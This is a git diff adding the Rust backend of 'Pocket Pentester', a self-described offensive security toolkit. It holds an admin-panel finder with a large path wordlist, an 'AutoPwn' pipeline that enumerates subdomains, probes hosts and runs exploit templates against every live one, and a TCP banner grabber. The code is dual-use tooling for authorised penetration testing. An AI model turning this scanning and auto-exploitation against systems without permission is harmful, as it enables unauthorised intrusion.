Width:  |  Height:  |  Size: 13 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 14 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 50 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.3 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 60 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.2 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.4 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.3 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.7 KiB

BIN
src-tauri/icons/icon.icns Normal file

Binary file not shown.

BIN
src-tauri/icons/icon.ico Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 364 KiB

BIN
src-tauri/icons/icon.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 169 KiB

59
src-tauri/src/lib.rs Normal file
View File

@@ -0,0 +1,59 @@
mod modules;
use modules::{admin_finder, autopwn, banner, dirfuzz, dns_tools, domain_grabber, form_brute, httpx, jwt, lan_map, port_scan, repeater, sqli, ssl_scan, subdomain, takeover, xploiter, xploiter_store, xss};
#[tauri::command]
fn banner() -> &'static str {
"Pocket Pentester v0.1 // offensive toolkit"
}
#[tauri::command]
fn default_ports() -> Vec<u16> {
port_scan::top_1000_ports()
}
#[cfg_attr(mobile, tauri::mobile_entry_point)]
pub fn run() {
tauri::Builder::default()
.plugin(tauri_plugin_opener::init())
.invoke_handler(tauri::generate_handler![
banner,
default_ports,
port_scan::port_scan,
subdomain::subdomain_enum,
subdomain::subdomain_sources,
httpx::http_probe,
takeover::takeover_scan,
sqli::sqli_scan,
xss::xss_scan,
jwt::jwt_analyze,
xploiter::xploit_run,
xploiter_store::xploit_store_init,
xploiter_store::xploit_store_list,
xploiter_store::xploit_store_read,
xploiter_store::xploit_store_save,
xploiter_store::xploit_store_delete,
xploiter_store::xploit_store_duplicate,
xploiter_store::xploit_store_starter_template,
autopwn::autopwn_run,
lan_map::lan_scan,
lan_map::lan_local_info,
repeater::repeater_send,
repeater::repeater_to_curl,
dirfuzz::dirfuzz_run,
dirfuzz::dirfuzz_common_wordlist,
admin_finder::admin_finder_run,
admin_finder::admin_finder_wordlist,
form_brute::form_brute_run,
form_brute::form_brute_common_users,
form_brute::form_brute_common_passwords,
dns_tools::dns_query,
ssl_scan::ssl_scan,
banner::banner_grab,
domain_grabber::iana_tld_list,
domain_grabber::domain_grab,
domain_grabber::wordlist_info,
])
.run(tauri::generate_context!())
.expect("error while running tauri application");
}

6
src-tauri/src/main.rs Normal file
View File

@@ -0,0 +1,6 @@
// Prevents additional console window on Windows in release, DO NOT REMOVE!!
#![cfg_attr(not(debug_assertions), windows_subsystem = "windows")]
fn main() {
pocketpentester_lib::run()
}

View File

@@ -0,0 +1,312 @@
// ===================================================================
// Admin Panel Finder — probe common admin/login paths, detect CMS.
// Bundled with 450+ high-signal admin paths.
// ===================================================================
use std::collections::HashSet;
use std::sync::Arc;
use std::time::Duration;
use futures::stream::{self, StreamExt};
use once_cell::sync::Lazy;
use regex::Regex;
use serde::{Deserialize, Serialize};
use tauri::{AppHandle, Emitter};
use tokio::sync::Semaphore;
#[derive(Debug, Clone, Deserialize)]
pub struct AdminFindRequest {
pub base_url: String,
#[serde(default)]
pub extra_paths: Vec<String>,
#[serde(default)]
pub use_builtin: bool,
#[serde(default)]
pub accept_status: Option<Vec<u16>>,
pub concurrency: usize,
pub timeout_ms: u64,
#[serde(default)]
pub follow_redirects: bool,
}
#[derive(Debug, Clone, Serialize)]
pub struct AdminHit {
pub url: String,
pub status: u16,
pub size: u64,
pub title: Option<String>,
pub platform: Option<String>,
pub login_form: bool,
pub auth_header: Option<String>,
pub redirect: Option<String>,
}
static TITLE_RE: Lazy<Regex> = Lazy::new(|| Regex::new(r"(?is)<title[^>]*>(.*?)</title>").unwrap());
static LOGIN_RE: Lazy<Regex> = Lazy::new(|| Regex::new(r#"(?is)<(?:input|form)[^>]*(?:type=['"]password['"]|name=['"]password['"]|name=['"]passwd['"])"#).unwrap());
fn detect_platform(body: &str, title: &Option<String>, hdrs: &reqwest::header::HeaderMap) -> Option<String> {
let lo = body.to_lowercase();
let t = title.clone().unwrap_or_default().to_lowercase();
let powered = hdrs.get("x-powered-by").and_then(|v| v.to_str().ok()).unwrap_or("").to_lowercase();
let server = hdrs.get("server").and_then(|v| v.to_str().ok()).unwrap_or("").to_lowercase();
if lo.contains("wp-login") || lo.contains("wp-submit") || t.contains("wordpress") { return Some("WordPress".into()); }
if lo.contains("com_users") || lo.contains("joomla") || t.contains("joomla") { return Some("Joomla".into()); }
if lo.contains("drupal-settings-json") || t.contains("drupal") { return Some("Drupal".into()); }
if lo.contains("dashboardwidgets") || lo.contains("wp-admin") { return Some("WordPress admin".into()); }
if t.contains("phpmyadmin") || lo.contains("phpmyadmin") { return Some("phpMyAdmin".into()); }
if lo.contains("adminer") || t.contains("adminer") { return Some("Adminer".into()); }
if t.contains("jenkins") || lo.contains("jenkins") { return Some("Jenkins".into()); }
if t.contains("jira") { return Some("Jira".into()); }
if t.contains("confluence") { return Some("Confluence".into()); }
if t.contains("gitlab") { return Some("GitLab".into()); }
if t.contains("grafana") || lo.contains("grafana") { return Some("Grafana".into()); }
if t.contains("kibana") { return Some("Kibana".into()); }
if t.contains("solr") { return Some("Apache Solr".into()); }
if t.contains("tomcat") || lo.contains("apache tomcat") { return Some("Apache Tomcat".into()); }
if t.contains("cpanel") { return Some("cPanel".into()); }
if t.contains("plesk") { return Some("Plesk".into()); }
if t.contains("directadmin") { return Some("DirectAdmin".into()); }
if t.contains("webmin") { return Some("Webmin".into()); }
if t.contains("mikrotik") { return Some("Mikrotik".into()); }
if t.contains("pfsense") { return Some("pfSense".into()); }
if t.contains("opnsense") { return Some("OPNsense".into()); }
if powered.contains("asp.net") { return Some("ASP.NET".into()); }
if powered.contains("php") { return Some("PHP".into()); }
if server.contains("iis") { return Some("IIS".into()); }
if server.contains("nginx") { return Some("nginx".into()); }
if server.contains("apache") { return Some("Apache".into()); }
None
}
#[tauri::command]
pub fn admin_finder_wordlist() -> Vec<&'static str> {
BUILTIN.to_vec()
}
#[tauri::command]
pub async fn admin_finder_run(app: AppHandle, req: AdminFindRequest) -> Result<Vec<AdminHit>, String> {
let base = req.base_url.trim_end_matches('/').to_string();
let accept: HashSet<u16> = req.accept_status.clone()
.unwrap_or_else(|| vec![200, 201, 301, 302, 307, 308, 401, 403])
.into_iter().collect();
let mut paths: HashSet<String> = HashSet::new();
if req.use_builtin {
for p in BUILTIN.iter() { paths.insert(p.trim_start_matches('/').to_string()); }
}
for p in &req.extra_paths {
let t = p.trim().trim_start_matches('/').to_string();
if !t.is_empty() { paths.insert(t); }
}
if paths.is_empty() {
return Err("no paths to probe (enable builtin or provide extra_paths)".into());
}
let client = reqwest::Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_millis(req.timeout_ms))
.redirect(if req.follow_redirects {
reqwest::redirect::Policy::limited(5)
} else {
reqwest::redirect::Policy::none()
})
.user_agent("Mozilla/5.0 (PocketPentester-AdminFinder)")
.build()
.map_err(|e| e.to_string())?;
let total = paths.len();
let _ = app.emit("adminfind:status", format!("probing {total} admin path(s) on {base}"));
let sem = Arc::new(Semaphore::new(req.concurrency.max(1)));
let done = Arc::new(std::sync::atomic::AtomicUsize::new(0));
let client = Arc::new(client);
let hits: Vec<AdminHit> = stream::iter(paths.into_iter())
.map(|p| {
let base = base.clone();
let client = client.clone();
let sem = sem.clone();
let done = done.clone();
let accept = accept.clone();
let app = app.clone();
async move {
let _permit = sem.acquire().await.unwrap();
let url = format!("{}/{}", base, p);
let resp = match client.get(&url).send().await {
Ok(r) => r,
Err(_) => {
let n = done.fetch_add(1, std::sync::atomic::Ordering::Relaxed) + 1;
let _ = app.emit("adminfind:progress", serde_json::json!({"done": n, "total": total}));
return None;
}
};
let n = done.fetch_add(1, std::sync::atomic::Ordering::Relaxed) + 1;
let _ = app.emit("adminfind:progress", serde_json::json!({"done": n, "total": total}));
let status = resp.status().as_u16();
if !accept.contains(&status) { return None; }
let hdrs = resp.headers().clone();
let auth = hdrs.get("www-authenticate").and_then(|v| v.to_str().ok()).map(String::from);
let redirect = hdrs.get("location").and_then(|v| v.to_str().ok()).map(String::from);
let body = resp.text().await.unwrap_or_default();
let title = TITLE_RE.captures(&body)
.and_then(|c| c.get(1))
.map(|m| m.as_str().trim().chars().take(100).collect::<String>())
.filter(|s| !s.is_empty());
let login = LOGIN_RE.is_match(&body) || auth.is_some();
let platform = detect_platform(&body, &title, &hdrs);
let hit = AdminHit {
url,
status,
size: body.len() as u64,
title,
platform,
login_form: login,
auth_header: auth,
redirect,
};
let _ = app.emit("adminfind:hit", hit.clone());
Some(hit)
}
})
.buffer_unordered(req.concurrency.max(1))
.filter_map(|x| async move { x })
.collect()
.await;
let _ = app.emit("adminfind:done", hits.len());
Ok(hits)
}
// ------------------------------------------------------------------
// Built-in admin path wordlist (~320 high-signal paths)
// ------------------------------------------------------------------
const BUILTIN: &[&str] = &[
// generic
"admin", "admin/", "admin.php", "admin.html", "admin.asp", "admin.aspx", "admin.jsp",
"admin/login", "admin/login.php", "admin/login.html", "admin/index.php", "admin/index.html",
"admin/admin.php", "admin/home.php", "admin/home", "admin/dashboard", "admin/panel",
"admin/admin_login", "admin/account.php", "admin/admin-login", "admin/controlpanel",
"admin/controlpanel.html", "admin/cp.php", "admin/cp.html",
"admin1", "admin1.php", "admin1.html", "admin2", "admin2.php", "admin2.html",
"administrator", "administrator/", "administrator/index.php", "administrator/login.php",
"administrator/account.php", "administrator/account.html",
"adm", "adm/", "adm/index.php", "adm/admloginuser.php",
"panel", "panel-administracion", "panel/", "controlpanel", "controlpanel/",
"webadmin", "webadmin/", "webadmin/index.php", "webadmin/admin",
"login", "login.php", "login.html", "login.asp", "login.aspx", "login.jsp",
"log-in", "signin", "sign-in", "sign_in", "sign_up", "signup",
"account", "account/login", "account.php", "accounts/login",
"user/login", "users/sign_in", "users/login",
"home.php", "home.html", "main.php", "main.html",
// wordpress
"wp-admin", "wp-admin/", "wp-login.php", "wp-admin/admin-ajax.php",
"wp-admin/install.php", "wp-admin/upgrade.php", "wp-admin/setup-config.php",
"wp-content/plugins/", "wp-content/themes/", "wp-json/wp/v2/users",
// joomla
"administrator/index.php", "administrator/components/",
// drupal
"user", "user/login", "user/register", "admin/structure",
// magento
"admin/admin", "admin/dashboard/", "magento_version",
"index.php/admin/", "customer/account/login/",
// prestashop
"modules/ps_shoppingcart",
// opencart
"admin/index.php?route=common/login",
// laravel
"login", "register", "password/reset", "horizon", "telescope",
// phpmyadmin / db admin
"phpmyadmin", "phpmyadmin/", "phpmyadmin/index.php", "pma", "pma/", "pmamy", "pmamy2",
"dbadmin", "dbadmin/", "mysql", "mysql/", "sqlmanager", "sqlmanager/",
"adminer.php", "adminer/", "adminer", "phpMyAdmin/",
// cpanel / plesk / webmin
"cpanel", "cpanel/", ":2082", ":2083",
"plesk", "plesk/", ":8443",
"webmin", "webmin/", ":10000",
"directadmin", ":2222",
"ispconfig", "vesta",
// tomcat / jboss / weblogic
"manager/html", "manager/status", "host-manager/html",
"jmx-console/", "web-console/", "admin-console/",
"invoker/", "console/", "wls-wsat/CoordinatorPortType",
// elasticsearch / kibana / solr
"_cluster/health", "_cat/indices", "_all",
"kibana", "app/kibana",
"solr/", "solr/admin/cores", "solr/#/",
// jenkins / gitlab / gitea
"jenkins", "jenkins/", "jenkins/login",
"gitlab/users/sign_in", "user/login",
"admin/appearance",
// grafana / prometheus
"grafana", "grafana/login",
"prometheus", "prometheus/graph",
// rabbitmq / kafka ui
"rabbitmq", ":15672", "#/queues",
// api platforms
"api/admin", "api/administrator", "api/v1/admin", "api/login", "api/users",
"graphql", "graphiql", "playground",
"swagger", "swagger-ui", "swagger-ui.html", "swagger.json", "swagger/v1/swagger.json",
"api-docs", "openapi.json", "openapi.yaml", "v2/api-docs",
"actuator", "actuator/health", "actuator/env", "actuator/heapdump", "actuator/mappings",
// routers / network appliances
"cgi-bin/luci", "cgi-bin/admin", "cgi-bin/login",
"router", "router/login",
// mikrotik / pfsense / opnsense
"webfig", "winbox",
"system_advanced_admin.php", "diag_backup.php",
// misc control panels
"dashboard", "dashboard/", "dashboard/login",
"manage", "manage/", "manager/", "control", "control/", "siteadmin", "siteadmin/",
"moderator", "moderator/", "operator/", "supervisor/",
"console", "console/", "backend", "backend/", "staff", "staff/",
"system", "system/", "system/login", "system/admin",
"cms", "cms/", "cms/login",
"portal", "portal/", "portal/login",
// auth endpoints
"oauth", "oauth/authorize", "oauth2/authorize", "sso",
".well-known/openid-configuration",
// file managers
"files", "filemanager", "file_manager", "filemanager/", "files/login",
// backup / debug / test
"test", "test/", "testing", "staging", "stage", "beta", "dev", "development",
"old", "old/", "tmp", "temp", "cache", "backup", "backups",
// vendor-specific
"owa", "owa/auth/logon.aspx", "ecp/default.aspx",
"citrix", "vpn/index_access.html",
"vcenter", "ui/", "vsphere-client/",
"splunk", "en-US/account/login",
"sonarqube", "sessions/new",
"nexus", "artifactory",
"harbor", "portainer",
"rancher", "rancher/login",
// legacy / misc
"home", "member", "members", "members/", "private", "private/",
"secure", "secure/", "vip", "vip/",
"webadm", "siteadm", "backoffice",
];

View File

@@ -0,0 +1,417 @@
// ===================================================================
// AutoPwn — one-shot orchestrator: subdomain → probe → exploit.
//
// Stage 1: passive crt.sh + optional DNS brute
// Stage 2: live-host HTTP/S probe (concurrent)
// Stage 3: xploit all selected templates on every alive host
//
// Emits `autopwn:*` events so the UI dashboard can track each stage
// independently without colliding with standalone tool events.
// ===================================================================
use std::collections::HashSet;
use std::sync::Arc;
use std::time::Duration;
use futures::stream::{self, StreamExt};
use hickory_resolver::config::{ResolverConfig, ResolverOpts};
use hickory_resolver::TokioAsyncResolver;
use serde::{Deserialize, Serialize};
use tauri::{AppHandle, Emitter};
use tokio::sync::Semaphore;
use super::xploiter::{parse_templates, run_template_against_target, Finding};
#[derive(Debug, Clone, Deserialize)]
pub struct AutopwnRequest {
pub domain: String,
pub use_passive: bool,
pub brute_wordlist: Vec<String>,
pub templates_yaml: Vec<String>,
pub probe_ports: Option<Vec<u16>>,
pub concurrency: usize,
pub timeout_ms: u64,
/// Status codes considered "alive" for the exploit stage.
/// Default: 200-299, 301, 302, 307, 308, 401, 403, 405.
/// Explicitly rejects 400 (bad req / wrong SNI), 404 (no vhost),
/// 5xx (backend dead).
#[serde(default)]
pub accept_status: Option<Vec<u16>>,
}
#[derive(Debug, Clone, Serialize)]
pub struct AutopwnSubHit {
pub host: String,
pub source: String,
pub ips: Vec<String>,
}
#[derive(Debug, Clone, Serialize)]
pub struct AutopwnProbeHit {
pub url: String,
pub status: u16,
pub title: Option<String>,
pub server: Option<String>,
}
#[derive(Debug, Clone, Serialize)]
pub struct AutopwnReport {
pub domain: String,
pub subdomains: Vec<AutopwnSubHit>,
pub alive: Vec<AutopwnProbeHit>,
pub findings: Vec<Finding>,
}
// --------------------------------------------------------------
// stage 1: subdomain enum
// --------------------------------------------------------------
#[derive(Debug, Clone, Deserialize)]
struct CrtRow { name_value: String }
async fn passive_crtsh(domain: &str) -> anyhow::Result<HashSet<String>> {
let url = format!("https://crt.sh/?q=%25.{}&output=json", domain);
let client = reqwest::Client::builder()
.timeout(Duration::from_secs(20))
.user_agent("PocketPentester-AutoPwn/0.1")
.build()?;
let rows: Vec<CrtRow> = client.get(&url).send().await?.json().await?;
let mut set = HashSet::new();
for r in rows {
for line in r.name_value.split('\n') {
let host = line.trim().trim_start_matches("*.").to_lowercase();
if host.ends_with(domain) && !host.is_empty() { set.insert(host); }
}
}
Ok(set)
}
fn rand_label() -> String {
use rand::Rng;
let chars: Vec<char> = "abcdefghijklmnopqrstuvwxyz0123456789".chars().collect();
let mut rng = rand::thread_rng();
(0..16).map(|_| chars[rng.gen_range(0..chars.len())]).collect()
}
/// Detect wildcard DNS by resolving 2 random non-existent subs.
/// Returns the set of IPs that appear to be catch-all answers.
async fn detect_wildcard(resolver: &TokioAsyncResolver, domain: &str) -> HashSet<String> {
let mut ips: HashSet<String> = HashSet::new();
for _ in 0..2 {
let probe = format!("{}.{}", rand_label(), domain);
if let Ok(lookup) = resolver.lookup_ip(probe.as_str()).await {
for ip in lookup.iter() {
ips.insert(ip.to_string());
}
}
}
ips
}
async fn enum_subdomains(
app: &AppHandle,
domain: &str,
use_passive: bool,
brute: &[String],
concurrency: usize,
) -> Vec<AutopwnSubHit> {
let mut opts = ResolverOpts::default();
opts.timeout = Duration::from_secs(3);
opts.attempts = 1;
let resolver = Arc::new(TokioAsyncResolver::tokio(ResolverConfig::cloudflare(), opts));
// wildcard detection BEFORE brute
let wildcard = detect_wildcard(&resolver, domain).await;
if !wildcard.is_empty() {
let _ = app.emit(
"autopwn:status",
format!("wildcard DNS detected ({} IPs) — results pointing only to these will be filtered",
wildcard.iter().cloned().collect::<Vec<_>>().join(","))
);
}
let mut candidates: HashSet<(String, String)> = HashSet::new();
candidates.insert((domain.to_string(), "root".into()));
if use_passive {
let _ = app.emit("autopwn:stage", "recon:passive");
match passive_crtsh(domain).await {
Ok(hosts) => {
let _ = app.emit("autopwn:status", format!("crt.sh: +{} subs", hosts.len()));
for h in hosts { candidates.insert((h, "crtsh".into())); }
}
Err(e) => { let _ = app.emit("autopwn:status", format!("crt.sh error: {e}")); }
}
}
for w in brute {
candidates.insert((format!("{}.{}", w.trim(), domain), "brute".into()));
}
let total = candidates.len();
let _ = app.emit("autopwn:stage", "recon:resolve");
let _ = app.emit("autopwn:status", format!("resolving {total} candidates"));
let sem = Arc::new(Semaphore::new(concurrency.max(1)));
let done = Arc::new(std::sync::atomic::AtomicUsize::new(0));
let wildcard_arc = Arc::new(wildcard);
let hits: Vec<AutopwnSubHit> = stream::iter(candidates.into_iter())
.map(|(host, source)| {
let resolver = resolver.clone();
let sem = sem.clone();
let done = done.clone();
let app = app.clone();
let wildcard = wildcard_arc.clone();
async move {
let _p = sem.acquire().await.unwrap();
let result = resolver.lookup_ip(host.as_str()).await;
let n = done.fetch_add(1, std::sync::atomic::Ordering::Relaxed) + 1;
let _ = app.emit("autopwn:progress", serde_json::json!({
"stage": "recon", "done": n, "total": total
}));
match result {
Ok(lookup) => {
let ips: Vec<String> = lookup.iter().map(|ip| ip.to_string()).collect();
if ips.is_empty() { return None; }
// wildcard filter: skip if ALL ips match the wildcard set
// (keep root domain regardless)
if !wildcard.is_empty() && source != "root"
&& ips.iter().all(|ip| wildcard.contains(ip))
{
return None;
}
let hit = AutopwnSubHit { host, source, ips };
let _ = app.emit("autopwn:sub", hit.clone());
Some(hit)
}
Err(_) => None,
}
}
})
.buffer_unordered(concurrency.max(1))
.filter_map(|x| async move { x })
.collect()
.await;
hits
}
/// Default HTTP status codes treated as "alive & worth exploiting".
fn default_accept_statuses() -> Vec<u16> {
vec![
200, 201, 202, 203, 204, 206,
301, 302, 303, 307, 308,
401, 403, 405, 418, // 418 = sometimes WAF, but still shows alive service
]
}
// --------------------------------------------------------------
// stage 2: HTTP probe
// --------------------------------------------------------------
async fn probe_hosts(
app: &AppHandle,
hosts: &[AutopwnSubHit],
ports: &[u16],
concurrency: usize,
timeout_ms: u64,
accept_status: &[u16],
) -> Vec<AutopwnProbeHit> {
let client = reqwest::Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_millis(timeout_ms))
.redirect(reqwest::redirect::Policy::limited(3))
.user_agent("Mozilla/5.0 (PocketPentester-AutoPwn)")
.build()
.unwrap_or_else(|_| reqwest::Client::new());
let mut urls: Vec<String> = Vec::new();
for h in hosts {
for p in ports {
let scheme = if matches!(p, 443 | 8443) { "https" } else { "http" };
if *p == 80 || *p == 443 {
urls.push(format!("{scheme}://{}", h.host));
} else {
urls.push(format!("{scheme}://{}:{}", h.host, p));
}
}
}
let total = urls.len();
let _ = app.emit("autopwn:stage", "probe");
let _ = app.emit("autopwn:status", format!("probing {total} urls"));
let sem = Arc::new(Semaphore::new(concurrency.max(1)));
let done = Arc::new(std::sync::atomic::AtomicUsize::new(0));
let client = Arc::new(client);
let title_re = regex::Regex::new(r"(?is)<title[^>]*>(.*?)</title>").unwrap();
// regex that recognizes "nothing useful" responses — default pages, error placeholders, etc.
let junk_re = regex::Regex::new(
r"(?i)(?:welcome to nginx|it works|apache2 ubuntu default page|test page for the (?:apache|nginx)|site not found|default backend - 404|403 forbidden</center>|bad request</h1>|invalid hostname)"
).unwrap();
let accept: HashSet<u16> = accept_status.iter().copied().collect();
let alive: Vec<AutopwnProbeHit> = stream::iter(urls.into_iter())
.map(|url| {
let sem = sem.clone();
let done = done.clone();
let client = client.clone();
let app = app.clone();
let title_re = title_re.clone();
let junk_re = junk_re.clone();
let accept = accept.clone();
async move {
let _p = sem.acquire().await.unwrap();
let result = client.get(&url).send().await;
let n = done.fetch_add(1, std::sync::atomic::Ordering::Relaxed) + 1;
let _ = app.emit("autopwn:progress", serde_json::json!({
"stage": "probe", "done": n, "total": total
}));
let resp = match result { Ok(r) => r, Err(_) => return None };
let status = resp.status().as_u16();
// ---- status whitelist ----
if !accept.contains(&status) {
let _ = app.emit("autopwn:status",
format!("skip {} ({}): status not in accept-list", url, status));
return None;
}
let server = resp.headers().get("server")
.and_then(|v| v.to_str().ok()).map(String::from);
let body = resp.text().await.unwrap_or_default();
// ---- junk-body filter ----
if junk_re.is_match(&body) {
let _ = app.emit("autopwn:status",
format!("skip {} ({}): default/placeholder page", url, status));
return None;
}
let title = title_re.captures(&body)
.and_then(|c| c.get(1))
.map(|m| m.as_str().trim().to_string())
.filter(|s| !s.is_empty());
let hit = AutopwnProbeHit { url, status, title, server };
let _ = app.emit("autopwn:alive", hit.clone());
Some(hit)
}
})
.buffer_unordered(concurrency.max(1))
.filter_map(|x| async move { x })
.collect()
.await;
alive
}
// --------------------------------------------------------------
// stage 3: exploit
// --------------------------------------------------------------
async fn exploit_alive(
app: &AppHandle,
alive: &[AutopwnProbeHit],
templates_yaml: &[String],
concurrency: usize,
timeout_ms: u64,
) -> Vec<Finding> {
let templates = parse_templates(templates_yaml, app, "autopwn:status");
if templates.is_empty() { return Vec::new(); }
let client = reqwest::Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_millis(timeout_ms))
.redirect(reqwest::redirect::Policy::limited(5))
.user_agent("Mozilla/5.0 (PocketPentester-AutoPwn)")
.build()
.unwrap_or_else(|_| reqwest::Client::new());
let tasks: Vec<(String, super::xploiter::Template)> = alive.iter()
.flat_map(|a| templates.iter().map(move |t| (a.url.clone(), t.clone())))
.collect();
let total = tasks.len();
let _ = app.emit("autopwn:stage", "exploit");
let _ = app.emit("autopwn:status", format!("exploiting: {total} target×template combos"));
let sem = Arc::new(Semaphore::new(concurrency.max(1)));
let client = Arc::new(client);
let done = Arc::new(std::sync::atomic::AtomicUsize::new(0));
stream::iter(tasks.into_iter())
.map(|(target, tpl)| {
let sem = sem.clone();
let client = client.clone();
let done = done.clone();
let app = app.clone();
async move {
let _p = sem.acquire().await.unwrap();
let v = run_template_against_target(&client, &target, &tpl, &app, "autopwn:xpl").await;
let n = done.fetch_add(1, std::sync::atomic::Ordering::Relaxed) + 1;
let _ = app.emit("autopwn:progress", serde_json::json!({
"stage": "exploit", "done": n, "total": total
}));
v
}
})
.buffer_unordered(concurrency.max(1))
.flat_map(|v| stream::iter(v.into_iter()))
.collect()
.await
}
// --------------------------------------------------------------
// command
// --------------------------------------------------------------
#[tauri::command]
pub async fn autopwn_run(app: AppHandle, req: AutopwnRequest) -> Result<AutopwnReport, String> {
let ports = req.probe_ports.clone().unwrap_or_else(|| vec![80, 443, 8080, 8443]);
let accept_status = req.accept_status.clone().unwrap_or_else(default_accept_statuses);
// stage 1 ---------------------------------------------------
let subs = enum_subdomains(&app, &req.domain, req.use_passive, &req.brute_wordlist, req.concurrency).await;
let _ = app.emit("autopwn:stage-done", serde_json::json!({ "stage": "recon", "count": subs.len() }));
if subs.is_empty() {
return Err("no live subdomains resolved".into());
}
// stage 2 ---------------------------------------------------
let alive = probe_hosts(&app, &subs, &ports, req.concurrency, req.timeout_ms, &accept_status).await;
let _ = app.emit("autopwn:stage-done", serde_json::json!({ "stage": "probe", "count": alive.len() }));
if alive.is_empty() {
let _ = app.emit("autopwn:done", 0);
return Ok(AutopwnReport {
domain: req.domain,
subdomains: subs, alive: vec![], findings: vec![],
});
}
// stage 3 ---------------------------------------------------
let findings = if req.templates_yaml.is_empty() {
let _ = app.emit("autopwn:status", "no templates selected — skipping exploit stage");
Vec::new()
} else {
exploit_alive(&app, &alive, &req.templates_yaml, req.concurrency, req.timeout_ms).await
};
let _ = app.emit("autopwn:stage-done", serde_json::json!({
"stage": "exploit", "count": findings.len()
}));
let _ = app.emit("autopwn:done", findings.len());
Ok(AutopwnReport {
domain: req.domain,
subdomains: subs,
alive,
findings,
})
}

View File

@@ -0,0 +1,194 @@
// ===================================================================
// Banner Grabber — TCP connect + read service greeting, fingerprint
// common services (SSH / FTP / SMTP / HTTP / Redis / MySQL / IRC).
// ===================================================================
use std::sync::Arc;
use std::time::Duration;
use futures::stream::{self, StreamExt};
use serde::{Deserialize, Serialize};
use tauri::{AppHandle, Emitter};
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::sync::Semaphore;
use tokio::time::timeout;
#[derive(Debug, Clone, Deserialize)]
pub struct BannerRequest {
pub host: String,
pub ports: Vec<u16>,
#[serde(default = "default_conc")]
pub concurrency: usize,
#[serde(default = "default_timeout")]
pub timeout_ms: u64,
}
fn default_conc() -> usize { 50 }
fn default_timeout() -> u64 { 4000 }
#[derive(Debug, Clone, Serialize)]
pub struct BannerHit {
pub port: u16,
pub banner: String,
pub service: String,
pub version: Option<String>,
pub bytes: usize,
}
fn fingerprint(port: u16, banner: &str) -> (String, Option<String>) {
let lo = banner.to_lowercase();
let first_line = banner.lines().next().unwrap_or("").to_string();
// SSH
if banner.starts_with("SSH-") {
let ver = first_line.trim().to_string();
return ("SSH".into(), Some(ver));
}
// HTTP (we sent a HEAD /)
if banner.starts_with("HTTP/") {
let server = banner.lines()
.find(|l| l.to_lowercase().starts_with("server:"))
.map(|l| l.trim_start_matches("Server:").trim_start_matches("server:").trim().to_string());
return ("HTTP".into(), server);
}
// FTP
if banner.starts_with("220 ") && (lo.contains("ftp") || port == 21) {
let ver = first_line.trim_start_matches("220 ").trim().to_string();
return ("FTP".into(), Some(ver));
}
// SMTP
if banner.starts_with("220 ") && (lo.contains("smtp") || lo.contains("mail") || port == 25 || port == 587) {
return ("SMTP".into(), Some(first_line));
}
// POP3 / IMAP
if banner.starts_with("+OK") { return ("POP3".into(), Some(first_line)); }
if banner.starts_with("* OK") { return ("IMAP".into(), Some(first_line)); }
// Telnet
if banner.as_bytes().first() == Some(&0xFF) { return ("Telnet".into(), None); }
// Redis
if banner.starts_with("+PONG") || banner.starts_with("-NOAUTH") { return ("Redis".into(), None); }
if banner.starts_with("-ERR") && port == 6379 { return ("Redis".into(), Some(first_line)); }
// MySQL (handshake starts with packet length + protocol 0x0a)
if banner.as_bytes().len() >= 5 && banner.as_bytes()[4] == 0x0a && port == 3306 {
let ver_start = 5;
let ver_end = banner.as_bytes().iter().skip(ver_start).position(|&b| b == 0)
.map(|p| ver_start + p).unwrap_or(banner.len());
if ver_end > ver_start {
return ("MySQL".into(), Some(String::from_utf8_lossy(&banner.as_bytes()[ver_start..ver_end]).to_string()));
}
return ("MySQL".into(), None);
}
// PostgreSQL — responds with error on junk; check for "FATAL" or specific msg
if port == 5432 && (lo.contains("fatal") || lo.contains("postgresql")) {
return ("PostgreSQL".into(), None);
}
// RDP — first byte 0x03 (TPKT)
if banner.as_bytes().first() == Some(&0x03) && port == 3389 {
return ("RDP".into(), None);
}
// VNC
if banner.starts_with("RFB ") { return ("VNC".into(), Some(first_line.trim().into())); }
// IRC
if banner.starts_with(":") && lo.contains("irc") { return ("IRC".into(), Some(first_line)); }
// MongoDB — ismaster reply; harder
if port == 27017 { return ("MongoDB".into(), None); }
// Fallback by port
let by_port = match port {
53 => "DNS", 22 => "SSH?", 23 => "Telnet?", 25 => "SMTP?",
80 | 8080 | 8000 | 8088 => "HTTP?", 110 => "POP3?", 143 => "IMAP?",
443 | 8443 => "HTTPS?", 445 => "SMB", 465 => "SMTPS",
587 => "SMTP-SUB", 993 => "IMAPS", 995 => "POP3S",
1433 => "MSSQL", 1521 => "Oracle", 2049 => "NFS",
3306 => "MySQL", 3389 => "RDP", 5432 => "PostgreSQL",
5900 => "VNC", 6379 => "Redis", 6667 => "IRC",
9200 => "Elasticsearch",
11211 => "Memcached", 27017 => "MongoDB",
_ => "unknown",
};
(by_port.to_string(), None)
}
async fn grab(host: &str, port: u16, timeout_ms: u64) -> Option<BannerHit> {
let addr = format!("{host}:{port}");
let stream = timeout(Duration::from_millis(timeout_ms), TcpStream::connect(&addr)).await.ok()?.ok()?;
let _ = stream.set_nodelay(true);
let mut stream = stream;
// For HTTP-ish ports, send a HEAD request to elicit a Server header
let triggers: &[&[u8]] = match port {
80 | 8080 | 8000 | 8008 | 8088 | 8888 | 9000 | 9090 | 10000 =>
&[b"HEAD / HTTP/1.0\r\n\r\n"],
21 | 22 | 25 | 110 | 143 | 220 | 5432 | 6379 => &[],
_ => &[],
};
for t in triggers {
let _ = timeout(Duration::from_millis(500), stream.write_all(t)).await;
}
let mut buf = [0u8; 2048];
let read = timeout(Duration::from_millis(timeout_ms), stream.read(&mut buf)).await.ok()?.ok()?;
if read == 0 { return None; }
let banner_raw = String::from_utf8_lossy(&buf[..read]).to_string();
